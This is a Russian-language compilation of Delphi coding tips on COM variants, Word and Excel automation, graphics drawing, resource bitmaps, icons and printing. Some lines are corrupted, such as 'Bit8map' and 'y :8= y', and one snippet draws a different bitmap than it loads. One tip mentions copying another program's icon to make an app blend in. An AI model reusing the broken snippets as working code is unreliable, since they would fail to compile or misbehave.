var _ComServer: IMyInterface
begin
_ComServer := IMyInterface(TVarData(_MyObject).VUnknown)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
Можно усилить контроль за передаваемым объектом, проверяя тип данных в variant:
procedure MyProc(_MyObject: variant)
var _ComServer: IMyInterface
begin
if (VarType(_MyObject) and varUnknown) = varUnknown then begin
_ComServer := IMyInterface(TVarData(_MyObject).VUnknown)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
end
Можно использовать еще более строгую проверку наличия в variant ожидаемого интерфейса:
procedure MyProc(_MyObject: variant)
var
_ComServer: IMyInterface
_IUnknown: IUnknown
begin
if (VarType(_MyObject) and varUnknown) = varUnknown then begin
_IUnknown := IUnknown(TVarData(_MyObject).VUnknown)
if _IUnknown.QueryInterface(IID_IMyInterface, _ComServer) = S_OK then begin
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
end
end
=== 1 ===
Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic.
NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например,
FileOpen(Name :=
'myname.doc');
Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет...
unit InWord;
interface
uses
... ComCtrls; // Delphi3
... OLEAuto; // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
S: String;
begin
S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи
// в var у меня не пошло :(
try // А вдруг где ошибка :)
W:=CreateOleObject('Word.Basic');
// Создаем документ по шаблону MyWordDot
// с указанием пути если он не в папке шаблонов Word
W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
// Отключение фоновой печати (на LJ5L без этого был пустой лист)
W.ToolsOptionsPrint(Background:=0);
// Переходим к закладке Word'a 'Num'
W.EditGoto('Num'); W.Insert(S);
//Сохранение
W.FileSaveAs('C:\MayPath\Reports\MyReport')
W.FilePrint(NumCopies:='2'); // Печать 2-х копий
finally
W.ToolsOptionsPrint(Background:=1);
W:=UnAssigned;
end;
end;
=== 2 ===
Управление Microsoft Excel
uses AciveX; // для Delphi 3 и 4
uses Ole2, OleAuto; // для Delphi 2
procedure TForm1.Button1Click(Sender: TObject);
var MyExcel: Variant;
begin
MyExcel:=CreateOleObject('Excel.Application');
MyExcel.Visible:=true;
MyExcel.WorkBooks.Add;
MyExcel.Cells[1,1].value:='1';
MyExcel.ActiveWorkbook.SaveAs(PATHNAME);
MyExcel.Quit;
end;
В Delphi 5, для обмена данными между Вашим приложением и Excel можно использовать компонент TExcelApplication, доступный
на Servers Page в Component Palette.
На форме находится TStringGrid, заполненный некоторыми данными и две кнопки, с названиями To Excel и From Excel. Так же на
форме находится компонент TExcelApplication со свойством Name, содержащим XLApp и свойством ConnectKind, содержащим
ckNewInstance.
Когда нам необходимо работать с Excel, то обычно мы открываем ExcelApplication, затем открываем WorkBook и в конце
используем WorkSheet.
Итак, несомненный интерес представляет для нас листы (WorkSheets) в книге (WorkBook). Давайте посмотрим как всё это работает.
Посылка данных в Excel
------------------------------
Это можно сделать с помощью следующей процедуры :
procedure TForm1.BitBtnToExcelOnClick(Sender: TObject);
var
WorkBk : _WorkBook; // определяем WorkBook
WorkSheet : _WorkSheet; // определяем WorkSheet
I, J, K, R, C : Integer;
IIndex : OleVariant;
TabGrid : Variant;
begin
if GenericStringGrid.Cells[0,1] <> '' then
begin
IIndex := 1;
R := GenericStringGrid.RowCount;
C := GenericStringGrid.ColCount;
// Создаём массив-матрицу
TabGrid := VarArrayCreate([0,(R - 1),0,(C - 1)],VarOleStr);
I := 0;
// Определяем цикл для заполнения массива-матрицы
repeat
for J := 0 to (C - 1) do
TabGrid[I,J] := GenericStringGrid.Cells[J,I];
Inc(I,1);
until
I > (R - 1);
// Соединяемся с сервером TExcelApplication
XLApp.Connect;
// Добавляем WorkBooks в ExcelApplication
XLApp.WorkBooks.Add(xlWBatWorkSheet,0);
// Выбираем первую WorkBook
WorkBk := XLApp.WorkBooks.Item[IIndex];
// Определяем первый WorkSheet
WorkSheet := WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;
// Сопоставляем Delphi массив-матрицу с матрицей в WorkSheet
Worksheet.Range['A1',Worksheet.Cells.Item[R,C]].Value := TabGrid;
// Заполняем свойства WorkSheet
WorkSheet.Name := 'Customers';
Worksheet.Columns.Font.Bold := True;
Worksheet.Columns.HorizontalAlignment := xlRight;
WorkSheet.Columns.ColumnWidth := 14;
// Заполняем всю первую колонку
WorkSheet.Range['A' + IntToStr(1),'A' + IntToStr(R)].Font.Color := clBlue;
WorkSheet.Range['A' + IntToStr(1),'A' + IntToStr(R)].HorizontalAlignment := xlHAlignLeft;
WorkSheet.Range['A' + IntToStr(1),'A' + IntToStr(R)].ColumnWidth := 31;
// Показываем Excel
XLApp.Visible[0] := True;
// Разрываем связь с сервером
XLApp.Disconnect;
// Unassign the Delphi Variant Matrix
TabGrid := Unassigned;
end;
end;
Получение данных из Excel
---------------------------------
Это можно сделать с помощью следующей процедуры
procedure TForm1.BitBtnFromExcelOnClick(Sender: TObject);
var
WorkBk : _WorkBook;
WorkSheet : _WorkSheet;
K, R, X, Y : Integer;
IIndex : OleVariant;
RangeMatrix : Variant;
NomFich : WideString;
begin
NomFich := ‘C:\MyDirectory\NameOfFile.xls’;
IIndex := 1;
XLApp.Connect;
// Открываем файл Excel
XLApp.WorkBooks.Open(NomFich,EmptyParam,EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,EmptyParam,EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,0);
WorkBk := XLApp.WorkBooks.Item[IIndex];
WorkSheet := WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;
// Чтобы знать размер листа (WorkSheet), т.е. количество строк и количество
// столбцов, мы активируем его последнюю непустую ячейку
WorkSheet.Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate;
// Получаем значение последней строки
X := XLApp.ActiveCell.Row;
// Получаем значение последней колонки
Y := XLApp.ActiveCell.Column;
// Определяем количество колонок в TStringGrid
GenericStringGrid.ColCount := Y;
// Сопоставляем матрицу WorkSheet с нашей Delphi матрицей
RangeMatrix := XLApp.Range['A1',XLApp.Cells.Item[X,Y]].Value;
// Выходим из Excel и отсоединяемся от сервера
XLApp.Quit;
XLApp.Disconnect;
// Определяем цикл для заполнения TStringGrid
K := 1;
repeat
for R := 1 to Y do
GenericStringGrid.Cells[(R - 1),(K - 1)] := RangeMatrix[K,R];
Inc(K,1);
GenericStringGrid.RowCount := K + 1;
until
K > X;
// Unassign the Delphi Variant Matrix
RangeMatrix := Unassigned;
end;
Я делал так (это кусок компонента):
if Picture.Graphic is TJPegImage then
begin
bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
Picture.Graphic.SaveToStream(bs);
bs.Free;
end
else if Picture.Graphic is TBitmap then
begin
Jpg:=TJPegImage.Create;
Jpg.CompressionQuality:=...;
Jpg.PixelFormat:=...;
Jpg.Assign(Picture.Graphic);
Jpg.JPEGNeeded;
bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
Jpg.SaveToStream(bs);
bs.Free;
Jpg.Free;
end else Field.Clear;
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!!
Всё, что вам нужно сделать для того, чтобы ваше окно выглядело эффектно, это только написать
несколько строк кода на событие OnPaint (на прорисовку) для вашего подопытного окна:
=== 1 ===
procedure TForm1.FormPaint(Sender: TObject);
var
i,j:Integer;
begin
with Form1.Canvas do begin
for j:=0 to Form1.Height do begin
for i:=0 to Form1.Width do begin
Pixels[i,j]:=Trunc(Random($00000095));
end;
end;
end;
end;
Как это сделано?
С помощью двух циклов мы обошли поверхность окна (канву) и каждому
пикселю задали случайный оттенок нужного цвета.
Цвет задаём 16-ричным кодом, например я указал:
$00000095
Получилось весьма неплохо :-))
Вы можете изменить цвет. Удачи.
=== 2 ===
Это другой ванриант этой же самой программы.
Десятая часть формы заполняется случайными цветами, а осиальная поверхность формы
заролняется копированием созданного уже изображения.
Подобная программа будет действовать быстрее, чем первоначальный вариант.
procedure TForm1.FormPaint(Sender: TObject);
var
h,w,i,j:Integer;
Rect1,Rect2:TRect;
begin
h:=Form1.Height div 10;
w:=Form1.Width div 10;
with Form1.Canvas do begin
for j:=0 to h do begin
for i:=0 to w do begin
Pixels[i,j]:=Trunc(Random($00000095));
end;
end;
Rect1:=Rect(0,0,w,h);
for j:=0 to 9 do begin
for i:= 0 to 9 do begin
Rect2:=Rect(w*j,h*i,w*(j+1),h*(i+1));
CopyRect(Rect2,Form1.Canvas,Rect1);
end;
end;
end;
end;
Такой эффект можно достичь используя метод BrushCopy объекта Canvas:
procedure BrushCopy(const Dest: TRect; Bitmap: TBitmap; const Source: TRect; Color: TColor);
например:
BrushCopy(Bounds(ARect.Left,ARect.Top,Fbmp.Width,Fbmp.Height),
Fbmp, Bounds(0, 0, Fbmp.Width, Fbmp.Height),
Fbmp.Canvas.Pixels[0, Fbmp.Height - 1]);
Здесь в качестве подменяемого в Bitmap цвета передается цвет его левой нижней точки.
Именно таким образом реализована прорисовка символического изображения дисков в TDriveComboBox.
CreateMappedBitmap() :-)
Один из паpаметpов yказатель на COLORMAP, в нем для 16 основных цветов делаешь пеpекодиpовкy, цвета подбеpешь сам из
пpинципа:
все самые яpкие -> в GetSysColor( COLOR_3DLIGHT );
самые темные -> GetSysColor( COLOR_3DSHADOW );
нейтpальные, котpые бyдyт пpозpачные -> GetSysColor( COLOR_3DFACE );
Serge Zakharchuk(2:5060/32)
Так на самом деле вот как делается данная задача:
============
procedure Tform1.aaa(bmpFrom,bmpTo:Tbitmap);
var
TmpImage,Monobmp:TBitmap;
IRect:TRect;
begin
MonoBmp := TBitmap.Create;
TmpImage:=Tbitmap.Create;
TmpImage.Width := bmpFrom.Width;
TmpImage.Height := bmpFrom.Height;
IRect := Rect(0, 0, bmpFrom.Width, bmpFrom.Height);
TmpImage.Canvas.Brush.Color := clBtnFace;
try
with MonoBmp do
begin
Assign(bmpFrom);
Canvas.Brush.Color := clBlack;
if Monochrome then
begin
Canvas.Font.Color := clWhite;
Monochrome := False;
Canvas.Brush.Color := clWhite;
end;
Monochrome := True;
end;
with TmpImage.Canvas do
begin
Brush.Color := clBtnFace;
FillRect(IRect);
Brush.Color := clBlack;
Font.Color := clWhite;
CopyMode := MergePaint;
Draw(IRect.Left + 1, IRect.Top + 1, MonoBmp);
CopyMode := SrcAnd;
Draw(IRect.Left, IRect.Top, MonoBmp);
Brush.Color := clBtnShadow;
Font.Color := clBlack;
CopyMode := SrcPaint;
Draw(IRect.Left, IRect.Top, MonoBmp);
CopyMode := SrcCopy;
bmpTo.assign(TmpImage);
TmpImage.free;
end;
finally
MonoBmp.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
aaa(image1.picture.bitmap,image2.picture.bitmap);
Image2.invalidate;
end;
============
Писал это не я. Это написал сам Борланд (некузявно было бы взглянуть на класс TButtonGlyph. Как раз из него я это и выдернул).
Hу а если уже совсем хорошо разобраться, то можно заметить функцию ImageList_DrawEx, в которой можно на 25 и 50 процентов
уменьшить яркость (но визуально это очень плохо воспринимается). Соответственно параметры ILD_BLEND25, ILD_BLEND50,
ILD_BLEND-A-MED. Естественно, что последний абзац работает только с тройкой.
Denis Tanayeff denis@demo.ru
Это кусочек из рабочей проги на Си, Вроде все лишнее я убрал.
====================
#define CO_GRAY 0x00C0C0C0L
hMemDC = CreateCompatibleDC(hDC);
hOldBitmap = SelectObject(hMemDC, hBits);
// hBits это собственно картинка, которую надо "засерить"
GetObject(hBits, sizeof(Bitmap), (LPSTR) &Bitmap);
if ( GetState(BS_DISABLED) ) // Blt disabled
{
hOldBrush = SelectObject(hDC, CreateSolidBrush(CO_GRAY));//CO_GRAY
PatBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth,
Bitmap.bmHeight, PATCOPY);
DeleteObject(SelectObject(hDC, hOldBrush));
lbLogBrush.lbStyle = BS_PATTERN;
lbLogBrush.lbHatch =(int)LoadBitmap(hInsts,
MAKEINTRESOURCE(BT_DISABLEBITS));
hOldBrush = SelectObject(hDC, CreateBrushIndirect(&lbLogBrush));
BitBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth,
Bitmap.bmHeight, hMemDC, 0, 0, 0x00A803A9UL); // DPSoa
DeleteObject(SelectObject(hDC, hOldBrush));
DeleteObject((HGDIOBJ)lbLogBrush.lbHatch);
}
==================
Самый простой способ - воспользоваться функцией Windows API DrawFocusRect. Функция DrawFocusRect использует операцию XOR
при рисовании - таким образом вывод прямоугольника дважды с одними и теми же координатами стирает прямоугольник, и
прямоугольник всегда будет виден, на фоне какого бы цвета он не выводился.
Пример:
type
TForm1 = class(TForm)
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
{Private declarations}
Capturing : bool;
Captured : bool;
StartPlace : TPoint;
EndPlace : TPoint;
public
{Public declarations}
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function MakeRect(Pt1 : TPoint; Pt2 : TPoint) : TRect;
begin
if pt1.x < pt2.x then
begin
Result.Left := pt1.x;
Result.Right := pt2.x;
end
else
begin
Result.Left := pt2.x;
Result.Right := pt1.x;
end;
if pt1.y < pt2.y then
begin
Result.Top := pt1.y;
Result.Bottom := pt2.y;
end
else
begin
Result.Top := pt2.y;
Result.Bottom := pt1.y;
end;
end;
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Captured then
DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
StartPlace.x := X;
StartPlace.y := Y;
EndPlace.x := X;
EndPlace.y := Y;
DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
Capturing := true;
Captured := true;
end;
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Capturing then
begin
DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
EndPlace.x := X;
EndPlace.y := Y;
DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
end;
end;
procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Capturing := false;
end;
procedure PaintRainbow(Dc : hDc; {Canvas для прорисовки спектра}
x : integer; { X координита начала спектра}
y : integer; {Y координита начала спектра}
Width : integer; {Ширина радуги}
Height : integer {Высота радуги};
bVertical : bool; {Вертикальная прорисковка спектра?}
WrapToRed : bool); {Возвратить спектр обратно к красному цвету?}
var
i : integer;
ColorChunk : integer;
OldBrush : hBrush;
OldPen : hPen;
r : integer;
g : integer;
b : integer;
Chunks : integer;
ChunksMinus1 : integer;
pt : TPoint;
begin
OffsetViewportOrgEx(Dc,
x,
y,
pt);
if WrapToRed = false then
Chunks := 5 else
Chunks := 6;
ChunksMinus1 := Chunks - 1;
if bVertical = false then
ColorChunk := Width div Chunks else
ColorChunk := Height div Chunks;
{Red To Yellow}
r := 255;
b := 0;
for i := 0 to ColorChunk do begin
g:= (255 div ColorChunk) * i;
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush));
end;
{Yellow To Green}
g:=255;
b:=0;
for i := ColorChunk to (ColorChunk * 2) do begin
r := 255 - (255 div ColorChunk) * (i - ColorChunk);
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush));
end;
{Green To Cyan}
r:=0;
g:=255;
for i:= (ColorChunk * 2) to (ColorChunk * 3) do begin
b := (255 div ColorChunk)*(i - ColorChunk * 2);
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc,OldBrush));
end;
{Cyan To Blue}
r := 0;
b := 255;
for i:= (ColorChunk * 3) to (ColorChunk * 4) do begin
g := 255 - ((255 div ColorChunk) * (i - ColorChunk * 3));
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush));
end;
{Blue To Magenta}
g := 0;
b := 255;
for i:= (ColorChunk * 4) to (ColorChunk * 5) do begin
r := (255 div ColorChunk) * (i - ColorChunk * 4);
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc, OldBrush))
end;
if WrapToRed <> false then begin
{Magenta To Red}
r := 255;
g := 0;
for i := (ColorChunk * 5) to ((ColorChunk * 6) - 1) do begin
b := 255 -((255 div ColorChunk) * (i - ColorChunk * 5));
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r,g,b)));
if bVertical = false then
PatBlt(Dc, i, 0, 1, Height, PatCopy) else
PatBlt(Dc, 0, i, Width, 1, PatCopy);
DeleteObject(SelectObject(Dc,OldBrush));
end;
end;
{Fill Remainder}
if (Width - (ColorChunk * Chunks) - 1 ) > 0 then begin
if WrapToRed <> false then begin
r := 255;
g := 0;
b := 0;
end else begin
r := 255;
g := 0;
b := 255;
end;
OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
if bVertical = false then
PatBlt(Dc,
ColorChunk * Chunks,
0,
Width - (ColorChunk * Chunks),
Height,
PatCopy) else
PatBlt(Dc,
0,
ColorChunk * Chunks,
Width,
Height - (ColorChunk * Chunks),
PatCopy);
DeleteObject(SelectObject(Dc,OldBrush));
end;
OffsetViewportOrgEx(Dc,
Pt.x,
Pt.y,
pt);
end;
function ColorAtRainbowPoint(ColorPlace : integer;
RainbowWidth : integer;
WrapToRed : bool) : TColorRef;
var
ColorChunk : integer;
ColorChunkIndex : integer;
ColorChunkStart : integer;
begin
if ColorPlace = 0 then begin
result := RGB(255, 0, 0);
exit;
end;
{WhatChunk}
if WrapToRed <> false then
ColorChunk := RainbowWidth div 6 else
ColorChunk := RainbowWidth div 5;
ColorChunkStart := ColorPlace div ColorChunk;
ColorChunkIndex := ColorPlace mod ColorChunk;
case ColorChunkStart of
0 : result := RGB(255,
(255 div ColorChunk) * ColorChunkIndex,
0);
1 : result := RGB(255 - (255 div ColorChunk) * ColorChunkIndex,
255,
0);
2 : result := RGB(0, 255, (255 div ColorChunk) * ColorChunkIndex);
3 : result := RGB(0,
255 - (255 div ColorChunk) * ColorChunkIndex,
255);
4 : result := RGB((255 div ColorChunk) * ColorChunkIndex,
0,
255);
5 : result := RGB(255,
0,
255 - (255 div ColorChunk) * ColorChunkIndex);
else
if WrapToRed <> false then
result := RGB(255, 0, 0) else
result := RGB(255, 0, 255);
end;{Case}
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
PaintRainbow(Form1.Canvas.Handle,
0,
0,
Form1.ClientWidth,
Form1.ClientHeight,
false,
true);
end;
procedure TForm1.FormResize(Sender: TObject);
begin
InvalidateRect(Form1.Handle, nil, false);
end;
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
Color : TColorRef;
begin
Color := ColorAtRainbowPoint(y,
Form1.ClientWidth,
true);
ShowMessage(IntToStr(GetRValue(Color)) + #32 +
IntToStr(GetGValue(Color)) + #32 +
IntToStr(GetBValue(Color)));
end;
Если картинка меньше формы, то она размоножается:
private
{ Private declarations }
Bit8map: TBitmap;
procedure TBmpForm.FormCreate(Sender: TObject);
begin
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile('bor6.bmp');
end;
procedure TBmpForm.FormDestroy(Sender: TObject);
begin
Bitmap.Free;
end;
procedure TBmpForm.FormPaint(Sender: TObject);
var
x, y: Integer;
begin
y := 0;
while y < Height do
begin
x := 0;
while x < Width do
begin
Canvas.Draw(x, y, Bitmap);
x := x + Bitmap.Width;
end;
y :8= y + Bitmap.Height;
end;
end;
=== 1 ===
procedure loadgraphic(naam:string);
var
{ I've moved these in here, so they exist only during the lifetime of the procedure. }
HResInfo: THandle;
BMF: TBitmapFileHeader;
MemHandle: THandle;
Stream: TMemoryStream;
ResPtr: PByte;
ResSize: Longint;
null:array [0..8] of char;
begin
{ In this first part, you are retrieving the bitmap from the resource.
The bitmap that you retrieve is almost, but not quite, the same as a
.BMP file (complete with palette information). }
strpcopy (null, naam);
HResInfo := FindResource(HInstance, null, RT_Bitmap);
ResSize := SizeofResource(HInstance, HResInfo);
MemHandle := LoadResource(HInstance, HResInfo);
ResPtr := LockResource(MemHandle);
{ Think of a MemoryStream almost as a "File" that exists in memory.
With a Stream, you can treat either the same way! }
Stream := TMemoryStream.Create;
try
Stream.SetSize(ResSize + SizeOf(BMF));
{ Next, you effectively create a .BMP file in memory by first writing the header (missing from the resource, so you add it)... }
BMF.bfType := $4D42;
Stream.Write(BMF, SizeOf(BMF));
{ Then the data from the resource. Now the stream contains a .BMP file }
Stream.Write(ResPtr^, ResSize);
{ So you point to the beginning of the stream... }
Stream.Seek(0, 0);
{ ...and let Delphi's TBitmap load it in }
Bitmap:=tbitmap.create;
Bitmap.LoadFromStream(Stream);
{ At this point, you are done with the stream and the resource. }
finally
Stream.Free;
end;
FreeResource(MemHandle);
end;
=== 2 ===
Включите в ваше приложение следующую директиву {$R RESFILENAME.RES} и затем используйте фунцию LoadBitmap.
TImage.Picture.Bitmap.Handle := LoadBitmap( Handle, 'BITMAPNAMEHERE' )
=== 1 ===
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
var
IconIndex : word;
h : hIcon;
begin
IconIndex := 0;
h := ExtractAssociatedIcon(hInstance, 'C:\WINDOWS\NOTEPAD.EXE', IconINdex);
DrawIcon(Form1.Canvas.Handle, 10, 10, h);
end;
=== 2 ===
Иногда очень хочется иметь иконку как "Вон у той проги" , или надо сделать приложение хамелеон, которое маскируется среди
других в одном каталоге с ней... Вот код
var
MyIcon: TIcon;
begin
MyIcon := TIcon. Create;
try
MyIcon.Handle := ExtractIcon(hInstance, 'MYPROG.EXE', 0)
{Здесь можно что-нибудь сделать с иконкой}
finally
MyIcon.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Device, Driver, Port : array [0..255] of Char;
Mode : Integer;
begin
Printer.GetPrinter(Device,Driver,Port,Mode);
if Device <> '' then
ShowMessage(Device)
else
ShowMessage('Не установлен принтер по умолчанию');
end;
Под Win16 Вы можете использовать функцию SpoolFile, или Passthrough escape, если принтер поддерживает
последнее.Под Win32
Вы можете использовать WritePrinter.
Ниже пример открытия принтера и записи чистого потока данных в принтер.Учтите, что Вы должны передать
корректное имя
принтера, такое, как "HP LaserJet5MP",чтобы функция сработала успешно.
Конечно, Вы можете включать в поток данных любые необходимые управляющие коды,которые могут
потребоваться.
uses WinSpool;
procedure WriteRawStringToPrinter(PrinterName:String; S:String);
var
Handle: THandle;
N: DWORD;
DocInfo1: TDocInfo1;
begin
if not OpenPrinter(PChar(PrinterName), Handle, nil) then
begin
ShowMessage('error ' + IntToStr(GetLastError));
Exit;
end;
with DocInfo1 do begin
pDocName := PChar('test doc');
pOutputFile := nil;
pDataType := 'RAW';
end;
StartDocPrinter(Handle, 1, @DocInfo1);
StartPagePrinter(Handle);
WritePrinter(Handle, PChar(S), Length(S), N);
EndPagePrinter(Handle);
EndDocPrinter(Handle);
ClosePrinter(Handle);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
WriteRawStringToPrinter('HP', 'Test This');
end;
Я использую следующий код.
Уже с год как работает.
var Device : array[0..cchDeviceName-1] of Char;
Driver : array[0..(MAX_PATH-1)] of Char;
Port : array[0..32] of Char;
hDMode : THandle;
pDMode : PDevMode;
sDev : array[0..32] of Char;begin Printer.GetPrinter(Device,Driver,Port,hDMode);
if hDMode <> 0 then begin pDMode :=GlobalLock(hDMode);
if pDMode <> nil then begin pdMode^.dmOrientation :=2;
//landscape pdMode^.dmPaperSize := DMPAPER_A3 //( см. win32.hlp DEVMODE)
GlobalUnlock(hDMode);
end;
end; . . .
Delphi имеет стандартный объект для доступа к принтеру - TPRINTER, находящийся в модуле PRINTERS. В этом
модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет
выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" -
не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее
приведены основные поля и методы объекта Printers :
PROPERTY
Aborted:boolean - Показывает, что процесс печати прерван
Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге
графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта.
Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером
Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее)
Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape)
PageHeight:integer - Высота листа в пикселах
PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage
PageWidth:integer - Ширина листа в пикселах
PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers
Printers:Tstrings - Список доступных принтеров
Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати
Title:string - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере
печати
METODS
AssignPrn(f:TextFile) - Связать текстовый файл с принтером.
Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.
Abort - Сбросить печать
BeginDoc - Начать печать
NewPage - Начать новую страницу
EndDoc - Завершить печать.
Пример :
Procedure TForm1.Button1Click(Sender: TObject);
Begin
With Printer do Begin
BeginDoc; { Начало печати }
Canvas.Font:=label1.font; { Задали шрифт }
Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }
EndDoc; { Конец печати }
end;
end;
Особенности работы с TPrinter
1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново
2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным
причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и ,
главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все
координаты "поедут".
3. У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или
смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к
некорректной работе, например, неправильной печать шрифтов True Type.
Определение параметров принтера через API
Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно
узнать объекта TPrinter - Printer.Handle.
Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;
Index - код параметра, который необходимо вернуть.
Для Index существует ряд констант :
DriverVersion - вернуть версию драйвера
Texnology - Технология вывода, их много, основные
dt_Plotter - плоттер
dt_RasPrinter - растровый принтер
dt_Display - дисплей
HorzSize - Горизонтальный размер листа (в мм)
VertSize - Вертикальный размер листа (в мм)
HorzRes - Горизонтальный размер листа (в пикселах)
VertRes - Вертикальный размер листа (в пикселах)
LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все. Параметры,
возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из
миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:
Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }
begin
PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;
Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }
begin
PrinterCoordX:=round(PixelsX/25.4*x);
end;
Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }
begin
PrinterCoordY:=round(PixelsY/25.4*Y);
end;
GetPrinterInfo;
Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),
'Этот текст печатается с отступом 30 мм от левого края и '+
'55 мм от верха при любом разрешении принтера');
Данную методику можно с успехом применять для печати картинок - зная размер картинки можно пересчитать ее
размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на
матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) - микроскопической.
P.S. Мой комментарий.
Я производил печать следующим образом:
procedure TForm6.SpeedButton1Click(Sender: TObject);
var
PRect:Trect;
PBitMap:TBitmap;
begin
PBitmap:=TBitMap.Create;
PBitmap.LoadFromFile('C:\1.bmp');
With PRect do begin
left:=0;
top:=0;
right:=Printer.PageWidth;
Bottom:=Printer.PageHeight;
end;
with printer do begin
BeginDoc;
font.name:='Times New Roman';
Canvas.StretchDraw(PRect,Bitmap);
EndDoc;
end;
PBitmap.Free;
end;
В примере показано как получить доступ к отдельным элементам компонента TRadioGroup.
Пример:
procedure TForm1.Button1Click(Sender: TObject); begin TRadioButton(RadioGroup1.Controls[1]). Enabled := False; end;
